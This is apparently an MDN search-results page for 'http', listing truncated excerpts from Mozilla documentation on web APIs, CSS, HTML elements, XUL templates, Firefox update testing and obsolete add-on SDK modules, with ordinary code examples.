...here is an example of an appropriate mar file to use: https://archive.mozilla.org/pub/firefox/releases/69.0b9/update/win64/firefox-69.0b9.complete.mar.
... <?xml version="1.0" encoding="utf-8"?> <updates> <update type="minor" displayversion="2000.0a1" appversion="2000.0a1" platformversion="2000.0a1" buildid="21181002100236"> <patch type="complete" url="http://127.0.0.1:8000/<mar name>" hashfunction="sha512" hashvalue="<hash>" size="<size>"/> </update> </updates> if you've downloaded the mar you're using, you'll find the sha512 value in a file called sha512sums in the root of the release directory on archive.mozilla.org for a release or beta build (you'll have to search it for the file name of your mar, since it includes the sha512 for every fil...
...And 3 more matches
nsIWebNavigation
for http and ftp urls and possibly others, characters above u+007f will be converted to utf-8 and then url- escaped per the rules of rfc 2396.
... postdata if the uri corresponds to a http request, then this stream is appended directly to the http request headers.
... it may be prefixed with additional http headers.
...And 3 more matches
Mail and RDF
msgaccounts:/ +-- http://home.netscape.com/nc-rdf#child --> | imap://alecf@imap.mywork.com | +-- http://home.netscape.com/nc-rdf#isserver --> "true" | +-- http://home.netscape.com/nc-rdf#child --> | imap://alecf@imap.mywork.com/inbox | +-- http://home.netscape.com/nc-rdf#totalmessages --> "4" | +-- http://home.netscape.com/nc-rdf#isserver --> "false" | +-- h...
...ttp://home.netscape.com/nc-rdf#messagechild --> | | imap_message://alecf@imap.mywork.com/inbox#1 | +-- http://home.netscape.com/nc-rdf#messagechild --> | | imap_message://alecf@imap.mywork.com/inbox#2 | +-- http://home.netscape.com/nc-rdf#messagechild --> | | imap_message://alecf@imap.mywork.com/inbox#3 | +-- http://home.netscape.com/nc-rdf#messagechild --> | imap_message://alecf@imap.mywork.com/inbox#4 | etc...
... +-- http://home.netscape.com/nc-rdf#child --> | mailbox://alecf@pop.mywork.com | +-- http://home.netscape.com/nc-rdf#isserver --> "true" | +-- http://home.netscape.com/nc-rdf#child --> | mailbox://alecf@pop.mywork.com/inbox | +-- http://home.netscape.com/nc-rdf#totalmessages --> "2" | +-- http://home.netscape.com/nc-rdf#isserver --> "false" | +-- http://home.netscape.com/nc-rdf#messagechild --> | | mailbox_message://alecf@pop.mywork.com/inbox#1 | +-- http://home.netscape.com/nc-rdf#messagechild --> | mailbox_message://alecf@pop.mywork.com/inbox#2 | etc...
...And 3 more matches
Standard OS Libraries
components.utils.import("resource://gre/modules/ctypes.jsm"); var lib = ctypes.open("user32.dll"); /* note: if you go to getcursorpos page on msdn, it says first argument is of structure point, so lets create that structure, * the link here shows that that x and y are type long which is ctypes.long */ // https://msdn.microsoft.com/en-us/library/windows/desktop/dd162805%28v=vs.85%29.aspx var point = new ctypes.structtype("tagpoint", [ { "x": ctypes.long }, { "y": ctypes.long } ]); /* declare the signature of the function we are going to call */ var getcursorpos = lib.declare('getcursorpos', ctypes.winapi_abi, ctypes.bool, point.ptr ); /* use it like this */ var point = point(); var re...
... components.utils.import('resource://gre/modules/ctypes.jsm'); var gdk = ctypes.open('libgdk-x11-2.0.so.0'); // types var gint = ctypes.int; var gdkdevice = ctypes.structtype('gdkdevice'); var gdkmodifiertype = ctypes.int; var gdkwindow = ctypes.structtype('gdkwindow'); var void = ctypes.void_t; // https://developer.gnome.org/gdk3/stable/gdk3-windows.html#gdk-get-default-root-window var gdk_get_default_root_window = gdk.declare('gdk_get_default_root_window', ctypes.default_abi, gdkwindow.ptr // return - the root window, which is top most parent of all windows ); // in gdk2 we have to use gdk_window_get_pointer, but in gdk3 it was deprecated and have to use gdk_window_get_device_position ...
...https://developer.gnome.org/gdk3/stable/gdk3-windows.html#gdk-window-get-pointer var gdk_window_get_pointer = gdk.declare('gdk_window_get_pointer', ctypes.default_abi, gdkwindow.ptr, // return - the window containing the pointer (as with gdk_window_at_pointer()), or null if the window containing the pointer isn’t known to gdk.
...And 3 more matches
Using the CSS Painting API - Web APIs
css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/01partone/header-highlight.js'); reference the paint worklet in css once we have a registered paint worklet, we can use it in css.
... css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/02parttwo/header-highlight.js'); .fancy { background-image: paint(headerhighlight); } .half { width: 50%; } <h1 class="fancy">largest header</h1> <h6 class="fancy">smallest header</h6> <h3 class="fancy half">50% width header</h3> while you can't play with the worklet's script, you can alter the element's font-size and width to change the...
... <li>item 1</li> <li>item 2</li> <li>item 3</li> <li>item 4</li> <li>item 5</li> <li>item 6</li> <li>item 7</li> <li>item 8</li> <li>item 9</li> <li>item 10</li> <li>item 11</li> <li>item 12</li> <li>item 13</li> <li>item 14</li> <li>item 15</li> <li>item 16</li> <li>item 17</li> <li>item</li> </ul> css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/boxbg.js'); li { background-image: paint(boxbg); --boxcolor: hsla(55, 90%, 60%, 1.0); } li:nth-of-type(3n) { --boxcolor: hsla(155, 90%, 60%, 1.0); --widthsubtractor: 20; } li:nth-of-type(3n+1) { --boxcolor: hsla(255, 90%, 60%, 1.0); --widthsubtractor: 40; } in our worklet, we can reference those custom properties.
...And 3 more matches
Using the CSS Typed Object Model - Web APIs
<p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add javascript to grab our unstyled link and return back a definition list of all the default css property values impacting the link using computedstylemap().
...let's start by adding some css to our example, including a custom property and an inhertable property: p { font-weight: bold; } a { --color: red; color: var(--color); } instead of getting all the properties, we create an array of properties of interest and use the stylepropertymapreadonly.get() method to get each of their values: <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> // get the element const myelement = document.queryselector('a'); // get the <dl> we'll be populating const styleslist = document.queryselector('#regurgitation'); // retrieve all computed styles with computedstylemap() const allcomputedstyles = myelement.computedstylemap(); // array of properties we're interested in const ofinterest ...
... look at that their types are by employing short javascript snippets outputting to console.log(): :root { --maincolor: hsl(198, 43%, 42%); --black: hsl(0, 0%, 16%); --white: hsl(0,0%,97%); --unit: 1.2rem; } button { --maincolor: hsl(198, 100%, 66%); display: inline-block; padding: var(--unit) calc(var(--unit)*2); width: calc(30% + 20px); background: no-repeat 5% center url(https://mdn.mozillademos.org/files/16793/magicwand.png) var(--maincolor); border: 4px solid var(--maincolor); border-radius: 2px; font-size: calc(var(--unit)*2); color: var(--white); cursor: pointer; transform: scale(0.95); } let's add the class to a button (a button which does nothing).
...And 3 more matches
Ajax navigation example - Web APIs
to see how it works, please create the following files (or git clone https://github.com/giabao/mdn-ajax-nav-example.git ): note: for fully integrating the <form> elements within this mechanism, please take a look at the paragraph submitting forms and uploading files.
...it is shared between all ajax pages.</p> include/before_content.php: <p> [ <a class="ajax-nav" href="first_page.php">first example</a> | <a class="ajax-nav" href="second_page.php">second example</a> | <a class="ajax-nav" href="third_page.php">third example</a> | <a class="ajax-nav" href="unexisting.php">unexisting page</a> ] </p> include/header.php: <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <script type="text/javascript" src="js/ajax_nav.js"></script> <link rel="stylesheet" href="css/style.css" /> js/ajax_nav.js: "use strict"; const ajaxrequest = new (function () { function closereq () { oloadingbox.parentnode && document.body.removechild(oloadingbox); bisloading = false; } function abortre...
... document.title = opageinfo.title = vmsg.page; document.getelementbyid(stargetid).innerhtml = vmsg.content; if (bupdateurl) { history.pushstate(opageinfo, opageinfo.title, opageinfo.url); bupdateurl = false; } break; default: vmsg = nstatus + ": " + (ohttpstatus[nstatus] || "unknown"); switch (math.floor(nstatus / 100)) { /* case 1: // informational 1xx console.log("information code " + vmsg); break; case 2: // successful 2xx console.log("successful code "...
...And 3 more matches
MediaDevices.getUserMedia() - Web APIs
this will happen if the browsing context is insecure (that is, the page was loaded using http rather than https).
...a secure context is, in short, a page loaded using https or the file:/// url scheme, or a page loaded from localhost.
...you should test your code carefully on a variety of devices and browsers to be sure it is as broadly compatible as possible feature policy the feature policy security management feature of http is in the process of being introduced into browsers, with support available to some extent in many browsers (though not always enabled by default, as in firefox).
...And 3 more matches
Navigator.registerProtocolHandler() - Web APIs
note: the handler url must us the https scheme.
... older browsers also supported http.
...this might happen if: the registered scheme (protocol) is invalid, such as a scheme the browser handles itself (https:, about:, etc.) the handler url’s origin does not match the origin of the page calling this api.
...And 3 more matches
Navigator.sendBeacon() - Web APIs
the navigator.sendbeacon() method asynchronously sends a small amount of data over http to a web server.
... ensuring that data has been sent during the unloading of a document has traditionally been difficult, because user agents typically ignore asynchronous xmlhttprequests made in an unload handler.
... historically, this was addressed with some of the following workarounds to delay the page unload long enough to send data to some url: submitting the data with a blocking synchronous xmlhttprequest call in unload or beforeunload event handlers.
...And 3 more matches
Request.cache - Web APIs
WebAPIRequestcache
it controls how the request will interact with the browser's http cache.
...the available values are: default — the browser looks for a matching request in its http cache.
... no-cache — the browser looks for a matching request in its http cache.
...And 3 more matches
Window.open() - Web APIs
WebAPIWindowopen
examples var windowobjectreference; var windowfeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"; function openrequestedpopup() { windowobjectreference = window.open("http://www.cnn.com/", "cnn_windowname", windowfeatures); } var windowobjectreference; function openrequestedpopup() { windowobjectreference = window.open( "http://www.domainname.ext/path/imagefile.png", "descriptivewindowname", "resizable,scrollbars,status" ); } if a window with the name already exists, then url is loaded into the existing window.
... best practices <script type="text/javascript"> var windowobjectreference = null; // global variable function openffpromotionpopup() { if(windowobjectreference == null || windowobjectreference.closed) /* if the pointer to the window object in memory does not exist or if such pointer exists but the window was closed */ { windowobjectreference = window.open("http://www.spreadfirefox.com/", "promotefirefoxwindowname", "resizable,scrollbars,status"); /* then create it.
...*/ }; } </script> (...) <p><a href="http://www.spreadfirefox.com/" target="promotefirefoxwindowname" onclick="openffpromotionpopup(); return false;" title="this link will create a new window or will re-use an already opened one" >promote firefox adoption</a></p> the above code solves a few usability problems related to links opening secondary window.
...And 3 more matches
Border-radius generator - CSS: Cascading Style Sheets
r */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: 5px; ...
...: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 3px; font-weight: bold; float: left; } .ui-checkbox .text { padding-left: 34px; background-position: center left 10px; } .ui-checkbox .left { padding-right: 34px; padding-left: 1.666em; background-position: center right 10px; } .ui-checkbo...
...x > label:hover { cursor: pointer; } .ui-checkbox > input:checked + label { background-image: url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379b4a; } body { max-width: 1000px; margin: 0 auto; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /******************************************************************************/ /******************************************************************************/ /* * preview area */ #preview { height: ...
...And 3 more matches
content - CSS: Cascading Style Sheets
WebCSScontent
/* keywords that cannot be combined with other values */ content: normal; content: none; /* <image> values */ content: url("http://www.example.com/test.png"); content: linear-gradient(#e66465, #9198e5); /* alt text for generated content, added in the level 3 specification */ content: url("http://www.example.com/test.png") / "this is the alt text"; /* values below can only be applied to generated content using ::before and ::after */ /* <string> value */ content: "prefix"; /* <counter> values */ content: counter(chapter_counter); content: counters(section_counter, "."); /* attr() value linked to the html attribute value */ content: attr(value ...
... html <h1>5</h1> <p>according to sir tim berners-lee, <q cite="http://www.w3.org/people/berners-lee/faq.html#internet">i was lucky enough to invent the web at the time when the internet already existed - and had for a decade and a half.</q> we must understand that there is nothing fundamentally wrong with building on the contributions of others.
... </p> <h1>6</h1> <p>according to the mozilla manifesto, <q cite="http://www.mozilla.org/about/manifesto/">individuals must have the ability to shape the internet and their own experiences on the internet.</q> therefore, we can infer that contributing to the open web can protect our own individual experiences on it.
...And 3 more matches
EXSLT
for example, to use the regular expressions package: <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:regexp="http://exslt.org/regular-expressions"> <xsl:template match="/"> ...
...the namespace for the common package is http://exslt.org/common.
...the namespace for the math package is http://exslt.org/math.
...And 3 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
WebHTMLElementa
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...can be used with or without a value: without a value, the browser will suggest a filename/extension, generated from various sources: the content-disposition http header the final segment in the url path the media type (from the (content-type header, the start of a data: url, or blob.type for a blob: url) defining a value suggests it as the filename.
...links are not restricted to http-based urls — they can use any url scheme supported by browsers: sections of a page with fragment urls pieces of media files with media fragments telephone numbers with tel: urls email addresses with mailto: urls while web browsers may not support other url schemes, web sites can with registerprotocolhandler() hreflang hints at the human language of the linked url.
...And 3 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
WebHTMLElementiframe
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... no-referrer-when-downgrade (default): the referer header will not be sent to origins without tls (https).
... strict-origin: only send the origin of the document as the referrer when the protocol security level stays the same (https→https), but don't send it to a less secure destination (https→http).
...And 3 more matches
<input type="image"> - HTML: Hypertext Markup Language
WebHTMLElementinputimage
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...es in addition to the attributes shared by all <input> elements, image button inputs support the following attributes: attribute description alt alternate string to display when the image can't be shown formaction the url to which to submit the data formenctype the encoding method to use when submitting the form data formmethod the http method to use when submitting the form formnovalidate a boolean which, if present, indicates that the form shouldn't be validated before submission formtarget a string indicating a browsing context from where to load the results of submitting the form height the height, in css pixels, at which to draw the image src the url from which to load the ima...
... formmethod a string indicating the http method to use when submitting the form's data; this value overrides any method attribute given on the owning form.
...And 3 more matches
Using the application cache - HTML: Hypertext Markup Language
in addition, the browser also sends a checking event to the window.applicationcache object, and fetches the manifest file, following the appropriate http caching rules.
... if the manifest file has changed, all the files listed in the manifest—as well as those added to the cache by calling applicationcache.add()—are fetched into a temporary cache, following the appropriate http caching rules.
...http://www.example.com/index.html http://www.example.com/header.png http://www.example.com/blah/blah a cache manifest file can include three sections (cache, network, and fallback, discussed below).
...And 3 more matches
Navigation and resource timings - Web Performance
redirectstart when the first http redirect starts.
... redirectend when the last http redirect is completed, that is when the last byte of the http response has been received.
... fetchstart when the browser is ready to fetch the document using an http request.
...And 3 more matches
stroke-linejoin - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following nine elements: <altglyph>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 18 12" xmlns="http://www.w3.org/2000/svg"> <!-- upper left path: effect of the "miter" value --> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="miter" /> <!-- center path: effect of the "round" value --> <path d="m7,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="round" /> <!-- upper right path...
... example html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "arcs" value --> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3" stroke="black" fill="none" stroke-linejoin="arcs" /> <!-- the following pink lines highlight the position of the path for each stroke --> <g id="p"> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3" stroke="pink" fill="none" stroke-width="0.025" /> <circle...
... example html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "bevel" value --> <path d="m1,5 l2,-3 l2,3" stroke="black" fill="none" stroke-linejoin="bevel" /> <!-- the following pink lines highlight the position of the path for each stroke --> <g id="p"> <path d="m1,5 l2,-3 l2,3" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5" cy="5" r...
...And 3 more matches
For Further Reading - XSLT: Extensible Stylesheet Language Transformations
http://www.amazon.com/xslt-programme.../dp/0764543814 xslt author: doug tidwell length: 473 pages publisher: o'reilly media; 1 edition (august 15, 2001) isbn: 0596000537 doug tidwell is a senior developer at ibm and a prominent evangelist for xml technologies generally.
... http://www.amazon.com/xslt-doug-tidwell/dp/0596000537 learning xml, second edition author: erik t.
... http://www.amazon.com/gp/product/0596004206 digital websites world wide web consortium the w3c homepage: http://www.w3.org/ the main xsl page: http://www.w3.org/style/xsl/ the version 1.0 recommendation for xslt: http://www.w3.org/tr/xslt archive of public style (css and xslt) discussions: http://lists.w3.org/archives/public/www-style/ the version 1.0 recommendation for xpath: http://www.w3.org/tr/xpath the world wide web consortium is the body that publishes recommendations for a number of web-based technologies, many of which become the de-facto...
...And 3 more matches
widget - Archive of obsolete content
for example, this widget contains an image, so it looks like a simple icon: require("sdk/widget").widget({ id: "mozilla-icon", label: "my mozilla widget", contenturl: "http://www.mozilla.org/favicon.ico" }); you can make contenturl point to an html or icon file which you have packaged inside your add-on.
...widgets.widget({ id: "google-link", label: "widget with an image and a click handler", contenturl: "http://www.google.com/favicon.ico", onclick: function() { require("sdk/tabs").activetab.url = "http://www.google.com/"; } }); // a widget that changes display on mouseover.
... widgets.widget({ id: "mouseover-effect", label: "widget with changing image on mouseover", contenturl: "http://www.yahoo.com/favicon.ico", onmouseover: function() { this.contenturl = "http://www.bing.com/favicon.ico"; }, onmouseout: function() { this.contenturl = "http://www.yahoo.com/favicon.ico"; } }); // a widget that updates content on a timer.
...And 2 more matches
places/bookmarks - Archive of obsolete content
examples creating a new bookmark let { bookmark, save } = require("sdk/places/bookmarks"); // create a new bookmark instance, unsaved let bookmark = bookmark({ title: "mozilla", url: "http://mozilla.org" }); // attempt to save the bookmark instance to the bookmarks database // and store the emitter let emitter = save(bookmark); // listen for events emitter.on("data", function (saved, inputitem) { // on a "data" event, an item has been updated, passing in the // latest snapshot from the server as `saved` (with properties // such as `updated` and `id`), as well as the initial...
...n("end", function (saveditems, inputitems) { // similar to "data" events, except "end" is an aggregate of // all progress events, with ordered arrays as `saveditems` // and `inputitems` }); creating several bookmarks with a new group let { bookmark, group, save } = require("sdk/places/bookmarks"); let group = group({ title: "guitars" }); let bookmarks = [ bookmark({ title: "ran", url: "http://ranguitars.com", group: group }), bookmark({ title: "ibanez", url: "http://ibanez.com", group: group }), bookmark({ title: "esp", url: "http://espguitars.com", group: group }) ]; // save `bookmarks` array -- notice we don't have `group` in the array, // although it needs to be saved since all bookmarks are children // of `group`.
... let { bookmark, group } = require("sdk/places/bookmarks"); let mygroup = group({ title: "my group" }); let mybookmark = bookmark({ title: "moz", url: "http://mozilla.com", group: mygroup }); save(mybookmark).on("data", function (item, inputitem) { // the `data` event returns the latest snapshot from the // host, so this is a new instance of the bookmark item, // where `item !== mybookmark`.
...And 2 more matches
Getting Started (jpm) - Archive of obsolete content
open it and add the following code: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("http://www.mozilla.org/"); } note that "entry point" defaults to "index.js" in jpm, meaning that your main file is "index.js", and it is found directly in your add-on's root.
...click the icon, and a new tab will open with http://www.mozilla.org/ loaded into it.
...for example, we could change the page that gets loaded: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("https://developer.mozilla.org/"); } at the command prompt, execute jpm run again.
...And 2 more matches
Bookmarks - Archive of obsolete content
var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("http://google.com/", null, null); var newbkmkid = bmsvc.insertbookmark(newfolderid, uri, bmsvc.default_index, ""); this example instantiates the nsiioservice and uses it to create an nsiuri referring to the google web site, then calls nsinavbookmarksservice.insertbookmark() to create a new bookmark to google, placing it at the end of the bookmarks folder referenced by newbkmkid.
... var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("http://google.com/", null, null); var bookmarksarray = bmsvc.getbookmarkidsforuri(uri, {}); after executing this code, the array bookmarksarray contains the ids of all bookmarks that refer to the specified uri (in this case, "http://google.com").
... var thisuri = bmsvc.getbookmarkuri(newbkmkid); assuming you've run all the code samples previous to this one, this will output "http://google.com".
...And 2 more matches
Miscellaneous - Archive of obsolete content
sion's install.rdf components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("extension-guid@example.org", function(addon) { // this is an asynchronous callback function that might not be called immediately alert("my extension's version is " + addon.version); }); restarting firefox/thunderbird/seamonkey_2.0 for firefox 3 see onwizardfinish around here: http://mxr.mozilla.org/seamonkey/sou...pdates.js#1639 for firefox 2 see around here: http://mxr.mozilla.org/mozilla1.8/so...pdates.js#1631 bug 338039 tracks improving this situation by providing a simple method to restart the application.
... simulating mouse and key events https://developer.mozilla.org/samples/domref/dispatchevent.html also, new in firefox 3 / gecko 1.9: var utils = window.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindowutils); utils.sendmouseevent("mousedown", 10, 10, 0, 1, 0); utils.sendmouseevent("mouseup", 10, 10, 0, 1, 0); getting the currently selected text from bro...
... see also http://mxr.mozilla.org/seamonkey/source/browser/base/content/browser.js#4674 discovering which element in the loaded document has focus // focusedcontrol stores the focused field, or null if there is none.
...And 2 more matches
Rosetta - Archive of obsolete content
for a fast overview on the code proposed here you can git clone https://github.com/madmurphy/rosetta.js, or, at your choice, directly download this .zip file.
...|*| |*| november 12, 2014 |*| |*| https://developer.mozilla.org/add-ons/code_snippets/rosetta |*| https://developer.mozilla.org/user:fusionchess |*| |*| this framework is released under the gnu public license, version 3 or later.
... |*| http://www.gnu.org/licenses/gpl-3.0.html |*| |*| syntax: |*| |*| rosetta.appendcompiler([ "text/x-csrc", "text/x-c" ], yourcompiler); |*| \*/ var rosetta = new (function () { function createscript (oscript, oxhr200) { var smimetype = oscript.getattribute("type").tolowercase(), obaton = document.createcomment(" the previous code has been automatically translated from \"" + smimetype + "\" to \"text/ecmascript\".
...And 2 more matches
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
var gxmlhttprequest; function loadtinderboxstatus() { gxmlhttprequest = new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.send(null); } xmlhttprequest is an interface in mozilla for retrieving documents via http.
... xmlhttprequest is easy to use in the simple case we have here.
... we use new to create a new instance of it, set the instance's onload property to updatetinderboxstatus(), the function we want to execute when the document finishes loading, call its open method with the type of http request we want to make and the url of the document to retrieve, and then call its send method to send the request.
...And 2 more matches
Microsummary XML grammar reference - Archive of obsolete content
example the microsummary generator created in the creating a microsummary tutorial: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> <template> <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> <output method="text"/> <template match="/"> <value-of select="id('download-count')"/> <text> fx downloads</text> </template> </transform> </template> <pages> <include>http://(www\.)?spreadfirefox...
...\.com/(index\.php)?</include> </pages> </generator> namespace the namespace uri for microsummary generator xml documents is: http://www.mozilla.org/microsummaries/0.1 all elements in a microsummary generator document should be in this namespace except the descendants of the <template> element, which should be in the xslt namespace: http://www.w3.org/1999/xsl/transform the <generator> element the <generator> element is the root tag for all microsummary generators, and should contain the remainder of the xml code describing the generator.
... note: although the <template> element must be in the microsummaries namespace (http://www.mozilla.org/microsummaries/0.1), its <stylesheet>/<transform> child element must be in the xslt namespace (http://www.w3.org/1999/xsl/transform).
...And 2 more matches
New Security Model for Web Services - Archive of obsolete content
the root element the first element of the file should be the following: <wsa:webscriptaccess xmlns:wsa="http://www.mozilla.org/2002/soap/security"> delegation if the <delegate/> element is present then "web-scripts-access.xml" is required in the subdirectory for uris which are in a subdirectory.
... for example, if the script in question is "http://www.example.com/foo/bar.xml", then the declarations file http://www.example.com/web-scripts-access.xml which contains the "delegate" keyword delegates to http://www.example.com/foo/web-scripts-access.xml.
... for example: <wsa:allow type="soapv" from="http://www.mozilla.org"/> this command allows soap requests with verification headers from scripts loaded from the domain www.mozilla.org.
...And 2 more matches
RDF Datasource How-To - Archive of obsolete content
the following xul fragment illustrates how to instantiate a tree control whose body is "rooted" to a resource (http://foo.bar.com/) that your datasource describes: <window xmlns:html="http://www.w3.org/1999/xhtml" xmlns:rdf="http://www.w3.org/tr/wd-rdf-syntax#" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <tree datasources="rdf:my-datasource" ref="http://foo.bar.com/"> <template> <treechildren> <treeitem uri="..."> <treerow> <treecell> ...
... <text value="rdf:http://home.netscape.com/nc-rdf#name" /> </treecell> <treecell> <text value="rdf:http://home.netscape.com/nc-rdf#url" /> </treecell> </treerow> </treeitem> </treechildren> </template> <treehead> <treeitem> <treecell>name</treecell> <treecell>url</treecell> </treeitem> </treehead> <!-- treechildren built _here_ --> </tree> </window> the important "magic attributes" have been called out in bold, above: datasources="rdf:my-datasource".
... ref="http://foo.bar.com/".
...And 2 more matches
Mac stub installer - Archive of obsolete content
the mac stub installer project resides at: <http://lxr.mozilla.org/seamonkey/sou...ll/wizard/mac/> the mac stub installer source code resides at: <http://lxr.mozilla.org/seamonkey/sou...izard/mac/src/> how do we get setup to debug the mac installer?
... build the mac installer (debug or non-debug target) using miw.mcp grab a nightly build, say from <http://ftp.mozilla.org/pub/mozilla/n...taller.sea.bin> drop in the installer binary next to the "mozilla installer" in the "mozilla installer" folder created by unstuffing the opt build.
...to do this, in addition to the above steps to set up the mac installer to debug you will need to do the following: create a file named xpcom.xpi with the shared libraries in the structure described under the [xpcom] section in: <http://lxr.mozilla.org/seamonkey/sou...ackages-mac#33> note that if you are using the debug target of the installer binary all shared libraries are expected to have the name format <libname>debug.shlb now set a break point at xpi_init() in the mac installer code and step into xpistub and eventually the xpinstall engine will load including symbols so you can set a break point in the xpinstall engine ...
...And 2 more matches
Unix stub installer - Archive of obsolete content
the unix stub installer project resides at: <http://lxr.mozilla.org/seamonkey/sou...ard/unix/src2/> how do we get setup to debug the unix stub installer?
... build the unix installer (debug or non-debug target) by typing "make" in the src2 directory grab a nightly build, say from <http://ftp.mozilla.org/pub/mozilla/n...staller.tar.gz> gunzip and untar the build to some temporary location like /tmp.
...checkin the <component>.jst to the: <http://lxr.mozilla.org/seamonkey/sou.../packager/unix> directory.
...And 2 more matches
Bindings - Archive of obsolete content
<query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> </query> it works similarly to the previous triple.
... <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> dc:description="view from the top of the tower looking east of the doges palace"/> if you try a full example based on this data, you will notice that only one result has been generated.
...(?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = 'palace from above') (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg, ?title = 'canal') (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg, ?title = 'obelisk') the second triple will add a ?description for the first photo, adding a fourth variable-value pair to the existing data.
...And 2 more matches
Building Trees - Archive of obsolete content
to use the tree builder, you need to add a flags attribute to the root node: <tree datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" flags="dont-build-content"> the dont-build-content flag causes no content to be built for the template.
...here is an example (using an rdf source): <tree id="photoslist" flex="1" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" flags="dont-build-content"> <treecols> <treecol id="name" label="name" flex="1"/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://purl.org/dc/elements/1.1/title"/> <treecell label="rdf:http://purl.org/dc/elements/1.1/da...
...when the view requests a label for the first cell, the builder looks up the ‘http://purl.org/dc/elements/1.1/title’ predicate for the row in question and returns it.
...And 2 more matches
Multiple Queries - Archive of obsolete content
